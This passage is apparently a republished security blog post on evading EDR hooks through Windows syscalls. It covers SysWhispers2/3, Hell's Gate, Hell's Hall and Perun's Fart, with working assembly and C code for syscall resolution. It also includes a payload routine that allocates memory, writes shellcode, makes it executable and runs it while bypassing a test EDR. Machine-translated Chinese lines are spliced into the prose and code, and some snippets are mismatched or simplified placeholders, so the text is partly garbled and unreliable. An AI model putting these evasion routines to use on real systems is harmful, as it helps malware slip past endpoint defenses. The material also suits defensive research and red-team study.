mov currentHash, 0208A1E3Eh ; Load function hash into global variable.

call WhisperMain           ; Resolve function hash into syscall number and make the call

NtAllocateVirtualMemory ENDP

end

Resulting in fewer lines and no hardcoded SSN values, Syswhispers2 is able to dynamically find the SSN values. SysWhispers2 uses sorting by system call address method to find the SSN. This is done by finding all syscalls starting with Zw and saving their address in an array in ascending order. The SSN will become the index of the system call stored in the array.

SysWhispers3:

SysWhispers3 is introduced in a blog titled as “Syswhispers is dead, Long live Syswhispers”.

Unlike its predecessors, SysWhispers3 makes indirect syscalls where it searches for syscall instruction ntdll address space and jumps to that instruction instead of directly invoking it.

It also includes a jumper randomizer which searches for random functions’ syscall instruction and jumps to them. So in summary the instruction belongs to another function.

.code

EXTERN SW3_GetSyscallNumber: PROC

NtAllocateVirtualMemory PROC

    mov [rsp +8], rcx      ; Save registers.

    mov [rsp+16], rdx

    mov [rsp+24], r8

    mov [rsp+32], r9

    sub rsp, 28h

    mov ecx, 03DB04B4Fh    ; Load function hash into ECX.

    call SW3_GetSyscallNumber          ; Resolve function hash into syscall number.

    add rsp, 28h

    mov rcx, [rsp+8]                  ; Restore registers.

    mov rdx, [rsp+16]

    mov r8, [rsp+24]

    mov r9, [rsp+32]

    mov r10, rcx

    syscall                ; Invoke system call.

    ret

NtAllocateVirtualMemory ENDP

End

This asm file calls SW3_GetSyscallAddress which is defined in a C file that SysWhispers3 generates:

EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)

{

    // Ensure SW3_SyscallList is populated.

    if (!SW3_PopulateSyscallList()) return NULL;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)

    {

        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)

        {

            return SW3_SyscallList.Entries[i].SyscallAddress;
返回SW3_SyscallList.条目[i].系统呼叫地址;

        }

    }

    return NULL; 返回空;

}

It calls SW3_PopulateSyscallList function to populate the syscall list and then searches through it for the target function.
它调用SW3_PopulateSyscallList函数来填充系统调用列表,然后在其中搜索目标函数。

Syswhisper3 Example: 系统耳语3示例:

As an example we will be using syswhispers3 to invoke direct syscall on NtAllocateVirtualMemory as a PoC to see whether our edr.dll can hook it or not.
作为一个例子,我们将使用 syswhispers3 在 NtAllocateVirtualMemory 上调用直接系统调用作为 PoC,以查看我们的 edr.dll 是否可以挂接它。

  1. Generate necessary files using syswhispers3:
    使用系统耳语3生成必要的文件:
EDR Evasion Techniques Using Syscalls
EDR Evasion Techniques Using Syscalls
  1. Copy the generated files to Visual Studio project root directory:
EDR Evasion Techniques Using Syscalls
  1. Enable MASM:
EDR Evasion Techniques Using Syscalls
  1. Import files in the project:
EDR Evasion Techniques Using Syscalls
  1. Set ASM item type to Microsoft Macro Assembler:
EDR Evasion Techniques Using Syscalls
  1. Finally, execute:
EDR Evasion Techniques Using Syscalls

As you can see edr.dll has indeed installed its hooks but cannot detect the use of NtAllocateVirtualMemory on PID 15148.

Hell’s gate

Hell’s gate is used to perform direct syscalls. It reads through ntdll and dynamically finds syscalls and executes them from the binary.

When using hell’s gate, we have to first declare a _VX_TABLE_ENTRY structure that contains data associated with a system call:

typedef struct _VX_TABLE_ENTRY {

PVOID pAddress;

DWORD64 dwHash;

WORD wSystemCall;

} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

_VX_TABLE_ENTYR itself will be a member of a larger structure named _VX_TABLE:

typedef struct _VX_TABLE {

VX_TABLE_ENTRY NtAllocateVirtualMemory;

VX_TABLE_ENTRY NtProtectVirtualMemory;

VX_TABLE_ENTRY NtCreateThreadEx;

VX_TABLE_ENTRY NtWaitForSingleObject;

} VX_TABLE, * PVX_TABLE;

Then it retrieves a pointer to PEB and traverse the in-memory order module list to NTDLL and the invokes the GetVxTableEntry function used to populate _VX_TABLE strcutre using ntdll's EAT.

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY

pVxTableEntry) {

PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory-

>AddressOfFunctions);

PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);

PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory-

>AddressOfNameOrdinals);

for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {

PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);

PVOID pFunctionAddress = (PBYTE)pModuleBase +

pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {

pVxTableEntry->pAddress = pFunctionAddress;

// MOV EAX

if (*((PBYTE)pFunctionAddress + 3) == 0xb8) {

BYTE high = *((PBYTE)pFunctionAddress + 5);

BYTE low = *((PBYTE)pFunctionAddress + 4);

pVxTableEntry->wSystemCall = (high << 8) | low;

break;

}

}

}

return TRUE;

}

It checks for the presence of mov r10, rcx and mov rcx, ssn and when found they can be used to execute a payload.

BOOL Payload(PVX_TABLE pVxTable) {

NTSTATUS status = 0x00000000;

char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";

// Allocate memory for the shellcode

PVOID lpAddress = NULL;

SIZE_T sDataSize = sizeof(shellcode);

HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);

status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

// Write Memory (i.e. RtlMoveMemory)

VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

// Change page permissions

ULONG ulOldProtect = NULL;

HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);

status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

// Create thread

HANDLE hHostThread = INVALID_HANDLE_VALUE;

HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);

status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress,

NULL, FALSE, NULL, NULL, NULL, NULL);

// Wait for 1 seconds

LARGE_INTEGER Timeout;

Timeout.QuadPart = -10000000;

HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);

status = HellDescent(hHostThread, FALSE, &Timeout);

return TRUE;

}

Example

We are going to use the default code that is in hell’s gate repository with just a few modifications.

  1. Clone the repository in Visual Studio: https://github.com/am0nsec/HellsGate
  2. Change  _VX_TABLE fields. You can place the functions you want to use in this structure, for simplicity’s sake, I’m leaving them to be the default ones:
EDR Evasion Techniques Using Syscalls
  1. Change the Payload function per your needs. I only added my own shellcode and a printf,  But you can change the functions and use something completely different:
EDR Evasion Techniques Using Syscalls
  1. Change the main function. You should set each function’s hash value, in the default code, they were hardcoded and I only replaced the hardcoded ones with the djb2 function to dynamically calculate them and also a printf and a getchar before executing the Payload function:
EDR Evasion Techniques Using Syscalls
  1. Execution: 执行:
EDR Evasion Techniques Using Syscalls

As you can see, edr.dll could not detect the use of NtAllocateVirtualMemory.

Hell’s hall

Hell’s hall developed by the Maldev academy is a combination of hell’s gate and indirect syscalls. Unlinke hell’s gate which is used to invoke direct syscalls, Hell’s hall combines the hell’s gate  and tartarus gate’s techniques and invokes indirect syscalls.

Tartarusgate

The HellsGate technique is a method used for dynamic system call invocation. This technique is particularly useful in the realm of low-level programming, especially when one wants to bypass certain security mechanisms or avoid detection by security software. Let’s break down the provided code to understand its functionality and purpose.

1. hellsgate.asm:

This Assembly file defines two procedures: HellsGate and HellDescent.

HellsGate PROC:

This procedure seems to be setting up a system call number. It uses the nop instruction, which is a placeholder that does nothing, possibly for alignment or obfuscation purposes.

The system call number is moved into the wSystemCall variable from the ecx register.

HellDescent PROC:

This procedure prepares for the actual system call. The rax and r10 registers are set up, and then the system call number is moved into the eax register.

The syscall instruction is then executed, which invokes the system call.

2. hellsgate.c:

This C file contains the main logic and functions that utilize the HellsGate technique.

Data Structures:

The file defines several structures, most notably the VX_TABLE and VX_TABLE_ENTRY. These structures seem to be used for storing information about various system calls, including their addresses and hashes.

RtlGetThreadEnvironmentBlock():

This function retrieves the Thread Environment Block (TEB) for the current thread. The TEB contains information about the thread’s state and its associated resources.
此函数检索当前线程的线程环境块 (TEB)。TEB 包含有关线程状态及其关联资源的信息。

djb2(): djb2():

A hash function used to compute a hash value for a given string. This might be used to quickly identify system calls or other entities.
用于计算给定字符串的哈希值的哈希函数。这可用于快速识别系统调用或其他实体。

GetImageExportDirectory() and GetVxTableEntry():
GetImageExportDirectory() 和 GetVxTableEntry():

These functions are used to retrieve the Export Address Table (EAT) of a module (like NTDLL) and to populate the VX_TABLE with the addresses of specific system calls.
这些函数用于检索模块(如 NTDLL)的导出地址表 (EAT),并使用特定系统调用的地址填充VX_TABLE。

Payload(): 有效载荷():

This function seems to be the main payload that will be executed. It dynamically resolves system calls using the HellsGate technique and then performs various operations, such as memory allocation, writing to memory, changing memory permissions, and creating a new thread.
此函数似乎是将要执行的主要有效负载。它使用 HellsGate 技术动态解析系统调用,然后执行各种操作,例如内存分配、写入内存、更改内存权限和创建新线程。

VxMoveMemory(): VxMoveMemory():

A custom implementation of the memory move operation. It ensures that the memory regions being copied do not overlap.
内存移动操作的自定义实现。它确保要复制的内存区域不重叠。

HellsGate/hellsgate.asm

; Hell's Gate

; Dynamic system call invocation 

; 

; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)

.data

wSystemCall DWORD 000h

.code 

HellsGate PROC

nop

mov wSystemCall, 000h

nop

mov wSystemCall, ecx

nop

ret

HellsGate ENDP

HellDescent PROC

nop

mov rax, rcx

nop

mov r10, rax

nop

mov eax, wSystemCall

nop

syscall

ret

HellDescent ENDP

end

HellsGate/main.c

INT wmain() {

//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();

PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)

return 0x1;

// Get NTDLL module 

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

// Get the EAT of NTDLL

PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;

if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)

return 0x01;

VX_TABLE Table = { 0 };

Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))

return 0x1;

Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))

return 0x1;

Table.NtWriteVirtualMemory.dwHash = 0x68a3c2ba486f0741;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))

return 0x1;

Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))

return 0x1;

Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))

return 0x1;

Payload(&Table);

return 0x00;

}

In the ever-evolving world of cybersecurity, the ability to dynamically resolve system calls is a significant advantage for evading detection mechanisms. The paper titled “Hell’s Gate” by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) presents a novel approach to this challenge, offering a method to dynamically retrieve syscalls without relying on static elements.

Historical Context

Historically, evasion techniques focused on nullifying the Import Address Table (IAT) of the PE file by recreating functions like LoadLibrary, GetProcAddress, and FreeLibrary. This approach was popularized in 1997 when Jack Qwerty introduced a utility that parsed the in-memory module Kernel32.dll’s Export Address Table (EAT) to resolve function addresses dynamically.
从历史上看,规避技术侧重于通过重新创建 LoadLibrary、GetProcAddress 和 FreeLibrary 等函数来取消 PE 文件的导入地址表 (IAT)。这种方法在 1997 年推广,当时 Jack Qwerty 引入了一个实用程序,该实用程序解析内存模块 Kernel32.dll 的导出地址表 (EAT) 以动态解析函数地址。

However, with the rise of Red Team tactics, there has been a shift towards using syscalls for evasion. Syscalls offer two main advantages:
然而,随着红队战术的兴起,已经转向使用系统呼叫进行规避。系统调用具有两个主要优点:

They eliminate the need for an in-memory module to be linked, ensuring position independence.
它们消除了连接内存模块的需要,确保了位置独立性。

They bypass potential hooks set by EDR or AV products.
它们绕过了 EDR 或 AV 产品设置的潜在钩子。

Hell’s Gate: The New Approach
地狱之门:新方法

Hell’s Gate introduces a method to dynamically retrieve syscalls without relying on static elements. The technique leverages the fact that almost every PE image loaded into memory implicitly links against NTDLL.dll. This DLL contains the image loader functionality and is crucial for transitioning from user mode API invocations into kernel memory address space via syscalls.
地狱之门引入了一种动态检索系统调用的方法,而无需依赖静态元素。该技术利用了这样一个事实,即加载到内存中的几乎每个 PE 映像都隐式链接到 NTDLL.dll。此 DLL 包含映像加载程序功能,对于通过系统调用从用户模式 API 调用转换到内核内存地址空间至关重要。

Commands and Codes 命令和代码

To achieve dynamic system call resolution, the following steps are taken:
要实现动态系统呼叫解析,请执行以下步骤:

Retrieve the Process Environment Block (PEB) of the process.
检索进程的进程环境块 (PEB)。

PPEB Peb = (PPEB)__readgsqword(0x60); //64bit process
PPEB Peb = (PPEB)__readgsqword(0x60);64位进程

Traverse the PEB to access the LoaderData member, which contains a list of in-memory modules.
遍历 PEB 以访问 LoaderData 成员,该成员包含内存中模块的列表。

PLDR_MODULE pLoadModule;

pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);

Access the base address of the in-memory module (typically NTDLL.dll).

PBYTE ImageBase;

ImageBase = (PBYTE)pLoadModule->BaseAddress;

Traverse the module's Export Address Table to locate the functions and their associated syscalls.

PIMAGE_DOS_HEADER Dos = NULL;

Dos = (PIMAGE_DOS_HEADER)ImageBase;

Execute System Calls: Functions within NTDLL.dll typically move the system call into the EAX register and then check the current thread execution environment. If it's determined to be x64 based, the system call is executed; otherwise, the function returns.

The Hell’s Gate technique introduces two methods:

HellsGate: Modifies the syscall that will be executed.

.data

wSystemCall DWORD 000h

.code

HellsGate PROC

mov wSystemCall, 000h

mov wSystemCall, ecx

ret

HellsGate ENDP

HellDescent: Executes the system call.

HellDescent PROC

mov r10, rcx

mov eax, wSystemCall

syscall

ret

HellDescent ENDP

End

Using these methods, one can dynamically set and execute syscalls, providing a powerful tool for evasion.
使用这些方法,可以动态设置和执行系统调用,从而提供强大的规避工具。

Perun’s fart 佩伦的屁

API hooks have long been the cornerstone of internal process monitoring, especially for Anti-Virus (AV) and Endpoint Detection and Response (EDR) solutions. Their popularity stems from their simplicity and the necessity imposed by Kernel Patch Protection (KPP). However, as with any security measure, adversaries continually seek ways to bypass or neutralize them.
API 挂钩长期以来一直是内部进程监控的基石,尤其是对于防病毒 (AV) 和端点检测和响应 (EDR) 解决方案。它们的受欢迎程度源于它们的简单性和内核补丁保护 (KPP) 强加的必要性。然而,与任何安全措施一样,对手不断寻求绕过或消除它们的方法。

1. The Evolution of Bypass Techniques
1. 旁路技术的演变

Over the years, malware developers and security researchers have devised numerous methods to bypass or entirely remove these hooks. Comprehensive reviews of these techniques have been documented in various resources, providing insights into the cat-and-mouse game between attackers and defenders.
多年来,恶意软件开发人员和安全研究人员已经设计了许多方法来绕过或完全删除这些钩子。各种资源中记录了对这些技术的全面审查,提供了对攻击者和防御者之间猫捉老鼠游戏的见解。

Recently, Yarhen Shafir introduced a new method of undetectable code injection, leveraging new system calls:
最近,Yarhen Shafir引入了一种无法检测的代码注入的新方法,利用新的系统调用:

NtCreateThreadStateChange / NtCreateProcessStateChange

NtChangeThreadState / NtChangeProcessState

However, the defense community is not one to rest on its laurels. Articles detailing methods to detect malicious activities, especially those attempting to bypass hooks and execute direct syscalls, have emerged. These discussions set the stage for the development of innovative techniques, such as syscall unhooking.
然而,国防界并不是一个固步自封的人。详细介绍恶意活动的方法的文章已经出现,特别是那些试图绕过钩子并执行直接系统调用的方法。这些讨论为创新技术的发展奠定了基础,例如系统呼叫解钩。

2. Introduction to Perun’s Fart
2. 佩伦的屁简介

Perun’s Fart is not a groundbreaking revelation in the realm of bypass techniques. Instead, it offers a method to locate a pristine, unhooked copy of ntdll without resorting to disk reads. The underlying concept is straightforward:
佩伦的《放屁》并不是旁路技术领域的开创性启示。相反,它提供了一种方法来查找 ntdll 的原始、未挂钩的副本,而无需求助于磁盘读取。基本概念很简单:

Obtain a copy of ntdll from a newly spawned process before AV/EDR solutions apply their hooks.
在 AV/EDR 解决方案应用其钩子之前,从新生成的进程中获取 ntdll 的副本。

There exists a brief window between the instantiation of a new process and the moment AV/EDR tools inject their hooks via a DLL. This interval might be fleeting, raising the question: Is it feasible to consistently outpace this race condition?
在新进程的实例化和 AV/EDR 工具通过 DLL 注入其挂钩之间存在一个短暂的窗口。这个间隔可能转瞬即逝,这就提出了一个问题:持续超过这个竞争条件是否可行?

The answer is a resounding yes, and the method is surprisingly simple.
答案是肯定的,方法出奇地简单。

3. Bypassing the Hooks
3. 绕过钩子

The technique involves the following steps:
该技术涉及以下步骤:

Spawn a New Process in Suspended State:
生成处于挂起状态的新进程:

This ensures that the process remains inactive, preventing any hooks from being applied immediately.
这可确保进程保持非活动状态,从而防止立即应用任何钩子。

ProcessStartInfo psi = new ProcessStartInfo("targetProcess.exe");

psi.CreateNoWindow = true;

psi.UseShellExecute = false;

psi.RedirectStandardOutput = true;

psi.WindowStyle = ProcessWindowStyle.Hidden;

psi.Arguments = "/startSuspended";

Process process = Process.Start(psi);

Copy the Clean ntdll:
复制“清理 ntdll”:

Once the new process is in a suspended state, copy the unhooked ntdll into the original process.
新进程处于挂起状态后,将取消挂钩的 ntdll 复制到原始进程中。

IntPtr ntdllAddress = ProcessMemoryReader.GetModuleAddress(process.Id, “ntdll.dll”);
IntPtr ntdllAddress = ProcessMemoryReader.GetModuleAddress(process.同上,“ntdll.dll”);

byte[] ntdllBytes = ProcessMemoryReader.ReadProcessMemory(process.Handle, ntdllAddress, ntdllSize);
byte[] ntdllBytes = ProcessMemoryReader.ReadProcessMemory(process.Handle, ntdllAddress, ntdllSize);

Resume Original Process Execution:
恢复原始流程执行:

With the clean ntdll in place, the original process can continue its operations, bypassing any hooks that would have been set by AV/EDR solutions.
有了干净的 ntdll,原始进程可以继续其操作,绕过 AV/EDR 解决方案设置的任何钩子。

process.Resume(); 过程。简历();

Peruns-Fart is named after the Slavic god of thunder, Perun. The project appears to be related to some form of native interoperation in C#.
Peruns-Fart以斯拉夫雷神Perun命名。该项目似乎与 C# 中的某种形式的本机互操作有关。

2. Repository Structure 2. 存储库结构

The repository primarily consists of C# files, with the main code residing in the peruns-fart directory. Key files include:
存储库主要由 C# 文件组成,主代码位于 peruns-fart 目录中。关键文件包括:

Native.cs: Contains native method signatures and related functionalities.
本机.cs:包含本机方法签名和相关功能。

Program.cs: The main entry point of the application.
程序.cs:应用程序的主要入口点。

3. Key Code Snippets
3. 关键代码片段

3.1 Native Interoperation in Native.cs
3.1 本机中的本机互操作.cs

The Native.cs file contains P/Invoke signatures for native methods. Here’s a snippet from the file:
本机.cs文件包含本机方法的 P/调用签名。以下是该文件的一个片段:

using System;

using System.Runtime.InteropServices;

public static class Native

{

    [DllImport("kernel32.dll", SetLastError = true)]

    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    // ... other native method signatures ...

}

This code demonstrates how to declare native methods in C# using the DllImport attribute. The above method, VirtualAlloc, is a Windows API function used for memory allocation.
此代码演示如何使用 DllImport 属性在 C# 中声明本机方法。上面的方法VirtualAlloc是一个用于内存分配的Windows API函数。

3.2 Main Program in Program.cs
3.2 程序中的主程序.cs

The Program.cs file contains the main logic of the application. Here’s a brief snippet:
程序.cs文件包含应用程序的主要逻辑。下面是一个简短的片段:

using System;

namespace peruns_fart

{

    class Program

    {

        static void Main(string[] args)

        {

            // ... main logic of the application ...

        }

    }

}

This is the entry point of the application, where the main logic is executed.
这是应用程序的入口点,在其中执行主逻辑。

Security Researchers 安全研究人员

Amir Gholizadeh (@arimaqz)
阿米尔·古利扎德(@arimaqz)

Surya Dev Singh (@kryolite_secure)
苏里亚·德夫·辛格 (@kryolite_secure)

 

原文始发于hadess:EDR Evasion Techniques Using Syscalls

版权声明:admin 发表于 2023年10月20日 上午9:12。
转载请注明:EDR Evasion Techniques Using Syscalls | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...